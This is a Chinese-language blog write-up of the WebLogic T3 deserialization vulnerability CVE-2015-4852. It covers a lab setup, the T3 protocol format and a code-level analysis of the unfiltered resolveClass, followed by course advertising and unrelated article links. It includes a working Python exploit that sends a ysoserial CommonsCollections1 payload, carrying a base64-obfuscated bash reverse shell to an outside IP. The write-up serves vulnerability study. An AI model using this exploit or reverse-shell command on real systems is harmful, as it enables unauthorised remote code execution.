Weblogic CVE之旅之T3协议浅学习

news2024/10/2 6:32:56

前言

这篇文章主要是学习Weblogic CVE漏洞中的过程中，对其中的一种利用方式T3协议反序列化漏洞进行分析。

前置

什么是T3协议？

T3协议是一种Weblogic RMI 调用时的通信协议, 对于JAVA RMI(Remote Method Invocation)
来说，基础的通信协议是JRMP，但是Weblogic中的T3协议就是一种优化方案。

T3协议的特点：

  1. 服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。

  2. 通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。

环境搭建

主要是通过CVE-2015-4852这个CVE来进行学习。

对于Weblogic的环境搭建，可以使用下面的这个项目

https://github.com/QAX-A-Team/WeblogicEnvironment

根据项目中的README中的描述进行搭建，我这里选用的是jdk7u21和wls10.3.6版本。

image-20221002190354071.png

之后需要修改一点Dockerfile中的内容，原项目中的Dockerfile有点问题。

image-20221002191021337.png

之后就是构建镜像和运行容器

## 创建镜像
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .

## 运行容器
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

成功运行服务

image-20221002193249606.png

可以登录管理控制台

:7001/console/login/LoginForm.jsp

默认账号密码为weblogic / qaxateam01

正文

初尝T3协议

按照Y4tacker师傅的描述，我们可以发送一个请求头

t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n

服务端将会返回一个weblogci的版本号

import socket

def T3Test(ip,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    while True:
        data = sock.recv(1024)
        print(data.decode())

if __name__ == "__main__":
    ip = "ip"
    port = port

    T3Test(ip,port)

image-20221003075231130.png

10.3.6就是我们之前搭建的环境weblogic版本

接下来关注一下T3协议的格式

图片来源于修复weblogic的JAVA反序列化漏洞的多种方法

image-20221003075501827.png

通过T3协议的结构图，我们可以发现，除了第一部分是之前发送的包头，第二到第七部分都是序列化数据，如果我们能够将我们的恶意序列化数据替换其中某一部分的数据，在传入weblogic之后，将会反序列化达到恶意目的。

在Y4tacker中提到了两种攻击方式

  • 第一种生成方式为，将weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。

  • 第二种生成方式为，将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

构造攻击

可以发送如下POC

from os import popen
import struct  # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii


def generatePayload(gadget, cmd):
    YSO_PATH = "E:\\POCgithub\\Java\\tools\\ShiroExploit.V2.51\\ysoserial.jar"
    popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
    return popen.stdout.read()


def T3Exploit(ip, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    data += sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    print(data.decode())
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: " + "".join(match))
    else:
        print("Not Weblogic")
        return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(
        b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header + desflag + payload
    payload = struct.pack(">I", len(payload)) + payload[4:]
    sock.send(payload)


if __name__ == "__main__":
    ip = "192.168.153.136"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"
    payload = generatePayload(gadget, cmd)
    T3Exploit(ip, port, payload)

对于这个POC，就是因为把ysoserial生成的payload变成t3协议里的数据格式。

  • 数据包长度包括了自身长度和其他三部分数据包长度，所以需要先占位，计算出长度后再替换进去；

  • T3协议头是固定的，直接硬编码进去就行；

  • 反序列化标志+数据=weblogic反序列化标志fe010000+ysoserial生成的序列化数据。

因为在Weblogic中默认存在有CC依赖，所以能够通过CC链的方式进行反序列化利用。

image-20221003083351370.png

在运行该POC之后，能够收到shell反弹

image-20221003083423827.png

我们抓包追踪一下TCP流

image-20221003084644854.png

前面红色部分就是我们的请求头。

蓝色部分就是Weblogic返回的响应头，第二个红色部分前面应该是前面T3协议结构中提到了的其他数据部分吧，从图中可以看见高亮部分是ac ed头，这是序列化数据的标志，在其之后都是序列化数据，也就是CC链的序列化数据。

因为，在POC中是直接将payload添加进入请求体。

image-20221003085125138.png

漏洞分析

对于weblogic来说，反序列化的点在weblogic.rjvm.InboundMsgAbbrev#readObject方法，打下断点

贴一下这时候的调用栈。

readObject:60, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

image-20221003090937467.png

其中传入的var1变量中就存在有我们传入的序列化数据，

image-20221003091229880.png

调用了var1#read方法，

image-20221003091417574.png

在这个式子的后面部分因为this.pos() == this.curEndEnvelope计算为false，所以将会调用父类的read方法。

image-20221003091649574.png

直接返回。

因为var1.read()方法中返回的结果为0，所以将会进入case 0语句，将会调用(new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject()语句

首先来看前面部分，

image-20221003092000213.png

就是一个构造函数，值得注意的是，在向serverChannel属性传入数据时候可以发现使用的协议是t3协议进行反序列化。

之后进行后面一部分，调用了readObject方法，

image-20221003093457123.png

但是，ServerChannelInputStream类没有重写readObject方法，所以，调用的是他的父类ObjectInputStream#readObject方法。

对于Java反序列化来说，将会在反序列化中调用resolveClass方法读取反序列化的类名，

具体实现在ObjectInputStream#readNonProxyDesc方法中。

image-20221003093940856.png

调用栈

resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)

虽然ServerChannelInputStream没有重写readObject方法，但是他重写了resolveClass方法，跟进看看。

image-20221003094042914.png

首先调用父类ObjectInputStream#resolveClass方法获取对应类名。

image-20221003094150457.png

调用getName方法获取类名，之后通过Class.forName方法获取对应的类，因为这里的resolveClass方法是直接使用的父类的该方法，并没有做出任何的安全过滤操作，所以能够实例化任意类。

之后就是CC1链的部分了，就不分析了。

最后

分享一个快速学习【网络安全】的方法，「也许是」最全面的学习方法：
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

在这里插入图片描述

恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k。

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

想要入坑黑客&网络安全的朋友，给大家准备了一份：282G全网最全的网络安全资料包免费领取！
扫下方二维码，免费领取

有了这些基础，如果你要深入学习，可以参考下方这个超详细学习路线图，按照这个路线学习，完全够支撑你成为一名优秀的中高级网络安全工程师：

高清学习路线图或XMIND文件（点击下载原文件）

还有一些学习中收集的视频、文档资源，有需要的可以自取：
每个成长路线对应板块的配套视频：


当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。

因篇幅有限，仅展示部分资料，需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/348111.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Web前端：使用Angular CLI时的最佳实践和专业技巧

Web前端：使用Angular CLI时的最佳实践和专业技巧

在web开发业务中，构建高性能的应用程序是首要因素。此外，用开发人员最流行的语言开发一个健壮的网站将始终为构建高功能的网站提供适当的基础网站。相比之下，不可否认，Angular CLI是建立得最好且正在成长的框架之一。Angular CLI简…
阅读更多...
【蓝桥杯嵌入式】第十三届蓝桥杯嵌入式 国赛 程序设计试题以及详细题解

【蓝桥杯嵌入式】第十三届蓝桥杯嵌入式 国赛 程序设计试题以及详细题解

文章目录原题展示原题分析详细题解LED模块按键模块串口LCD模块模拟电压读取(ADC)脉冲输入输出文章福利原题展示 原题分析 本届国赛试题主要包含LCD、LED、按键、EEPROM、串口、模拟电压输入、脉冲输入输出七大部分，其中前面三个部分是蓝桥杯嵌入式的“亲儿子”(必考…
阅读更多...
2023年妇女节是哪一天 妇女节是2023年几月几日？

2023年妇女节是哪一天 妇女节是2023年几月几日？

2023年妇女节是哪一天是2023年几月几日？ 2023年妇女节是2023年3月8日 三八妇女节是国家法定节假日吗？ 妇女节不是国家法定节假日，而国家法定节假日包括：元旦、春节、清明节、劳动节、端午节、中秋节、国庆节； 关于三…
阅读更多...
操作系统(day09) -- 连续分配管理方式

操作系统(day09) -- 连续分配管理方式

连续分配管理方式 单元连续分配 动态分区分配 1.系统要用什么样的数据结构记录内存的使用情况？ 两种常用的数据结构 空闲分区表 每个空闲分区对应一个表项。表项中包含分区号、分区大小、分区起始地址等信息空闲分区链 每个分区的起始部分和末尾部分分别设置前向…
阅读更多...
硬件学习 软件Cadence day02 画原理图的基本操作 （键盘快捷键 ， 原理图设计流程 ， 从开始到导出网表流程）

硬件学习 软件Cadence day02 画原理图的基本操作 （键盘快捷键 ， 原理图设计流程 ， 从开始到导出网表流程）

1. ORCAD Capture cls 界面的快捷键 键盘 按键对应的操作I放大 （可以滚轮操作）O缩小 （可以滚轮操作）W画线Esc退出现在的状态 （画图界面 右键 End xxx）N放置网络标号J放置节点 (控制…
阅读更多...
花2个月面过华为测开岗，拿个30K不过分吧？

花2个月面过华为测开岗，拿个30K不过分吧？

背景介绍 美本计算机专业，代码能力一般，之前有过两段实习以及一个学校项目经历。第一份实习是大二暑期在深圳的一家互联网公司做前端开发，第二份实习由于大三暑假回国的时间比较短（小于两个月），于是找的实…
阅读更多...
ChatGPT is not all you need，一文看尽SOTA生成式AI模型：6大公司9大类别21个模型全回顾（一）

ChatGPT is not all you need，一文看尽SOTA生成式AI模型：6大公司9大类别21个模型全回顾（一）

文章目录ChatGPT is not all you need，一文看尽SOTA生成式AI模型：6大公司9大类别21个模型全回顾（一）Text-to-Image 模型DALL-E 2IMAGENStable DiffusionMuseText-to-3D 模型DreamfusionMagic3DChatGPT is not all you need&#x…
阅读更多...
Python和Java语言，哪个更适合做自动化测试？

Python和Java语言，哪个更适合做自动化测试？

经常有测试新手问我：Python和Java语言，哪个更适合做自动化测试？本来想简单的回答一下的，但又觉得对不起大家对小编的信任。因此，小编今天专门写了一篇文章来回答这个问题。欢迎各位大佬补充~1、什么是自动化测试&#…
阅读更多...
大数据框架之Hadoop：HDFS（八）HDFS HA高可用

大数据框架之Hadoop：HDFS（八）HDFS HA高可用

8.1 HA概述 1）所谓HA（High Available），即高可用（7*24小时不中断服务）。 2）实现高可用最关键的策略是消除单点故障。HA严格来说应该分成各个组件的HA机制：HDFS的HA和YARN的HA。 3&…
阅读更多...
一文优化java.lang.StackOverflowError的堆栈溢出问题及递归引发的java.lang.StackOverflowError错误

一文优化java.lang.StackOverflowError的堆栈溢出问题及递归引发的java.lang.StackOverflowError错误

文章目录1. 问题引出2. 分析问题2.1 为什么递归调用会导致堆栈溢出2.2 数组太大或分配内存多于可用内存导致堆栈异常3. 优化避免栈溢出3.1 尾递归优化3.2 循环替代递归4. 重要总结1. 问题引出 今天在编码时，出现了java.lang.StackOverflowError，就感觉很…
阅读更多...
【Python小游戏】没点儿技术真不敢这么玩儿：人工智能挑战《贪吃蛇》，来自AI的艺术——超级游戏高手世界最高纪录秒被盘？

【Python小游戏】没点儿技术真不敢这么玩儿：人工智能挑战《贪吃蛇》，来自AI的艺术——超级游戏高手世界最高纪录秒被盘？

前言 每天分享各种Python项目、好玩的Pygame游戏、Python的爬虫、数据分析案例、有趣的人 工智能知识等。期待你的关注哦！ 所有文章完整的素材源码都在👇👇 粉丝白嫖源码福利，请移步至CSDN社区或文末公众hao即可免费。 哈喽&…
阅读更多...
探索IP地址的应用

探索IP地址的应用

无论是互联网行业还是传统行业都会用到网络，作为企业如何维护网络安全，保障网站不被攻击，数据不被泄露等。这个时候我们就会通查询IP归属地，辅助企业解决安全问题。下面介绍一下ip归属地在各行业的具体应用。1.网安行业应用一&…
阅读更多...
SpringBoot实现登录拦截器超详细（springboot拦截器excludePathPatterns方法不生效的坑）

SpringBoot实现登录拦截器超详细（springboot拦截器excludePathPatterns方法不生效的坑）

文章目录SpringBoot实现登录拦截器1、SpringBoot 实现登录拦截的原理1.1、实现HandlerInterceptor接口1.2、实现WebMvcConfigurer接口，注册拦截器1.3、保持登录状态springboot拦截器excludePathPatterns方法不生效的坑与解决方法一、前言二、问题三、解决方法四、总…
阅读更多...
C语言编译过程

C语言编译过程

C语言编译过程1、C语言编译过程2、单c文件编译实践3、多c文件编译实践4、define4.1、不带参宏4.2、带参宏4.3、带参宏和带参函数的区别5、选择性编译ifdef、ifndef、if5.1、#ifdef5.2、#ifndef5.3、#if6、静态库和动态链接库6.1、静态库实践6.1.1、将mylib.c制作成静态库6.1.2、…
阅读更多...
Baklib知识库管理平台,协助组织提升知识管理水平

Baklib知识库管理平台,协助组织提升知识管理水平

随着信息时代和知识经济时代的到来，企业内部信息资料繁多冗杂，知识管理逐渐成为各大企业的重要工作之一，企业管理者无不感受到巨大的压力，怎么样将知识进行有效的管理，成为一个难点，并且随着信息不断的更迭…
阅读更多...
Java企业级信息系统开发学习笔记（1）初探Spring与骑士傻龙实例

Java企业级信息系统开发学习笔记（1）初探Spring与骑士傻龙实例

该文章主要为完成实训任务，详细实现过程及结果见【http://t.csdn.cn/iK3aM】 文章目录1. 创建Maven项目2. 添加Spring依赖3. 创建杀龙任务4. 创建勇士类5. 采用传统的方式6. 采用Spring容器让勇敢骑士完成杀龙任务6.1 创建日志属性文件6.2 创建Spring配置文件6.3 在…
阅读更多...
CobaltStrike上线微信通知

CobaltStrike上线微信通知

CobaltStrike上线微信通知 利用pushplus公众号（每天免费发送200条消息） http://www.pushplus.plus/push1.html 扫码登录后需要复制token 可以测试一下发送一下消息，手机会受到如下消息。可以在微信提示里将消息免打扰关闭（默认…
阅读更多...
分布式光伏储能系统的优化配置方法(Matlab代码实现）

分布式光伏储能系统的优化配置方法(Matlab代码实现）

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势：🌞🌞🌞博客内容尽量做到思维缜密，逻辑清晰，为了方便读者。 ⛳️座右铭&a…
阅读更多...
期末复习提纲

期末复习提纲

复习提纲 题型：编程题3题，综合题4题。 一、编程题： 1、链表的类型定义；邻接矩阵表示图的类型定义；链接表表示图的类型定义；vector数组表示图的定义和使用方法。 2、链表中结点的插入和删除操作&#xff…
阅读更多...
linux高级命令之编辑器 vim

linux高级命令之编辑器 vim

编辑器 vim学习目标能够说出vim的三种工作模式能够说出vim对应复制和粘贴命令1. vim 的介绍vim 是一款功能强大的文本编辑器，也是早年 Vi 编辑器的加强版，它的最大特色就是使用命令进行编辑，完全脱离了鼠标的操作。2. vim 的工作模式命令模式…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023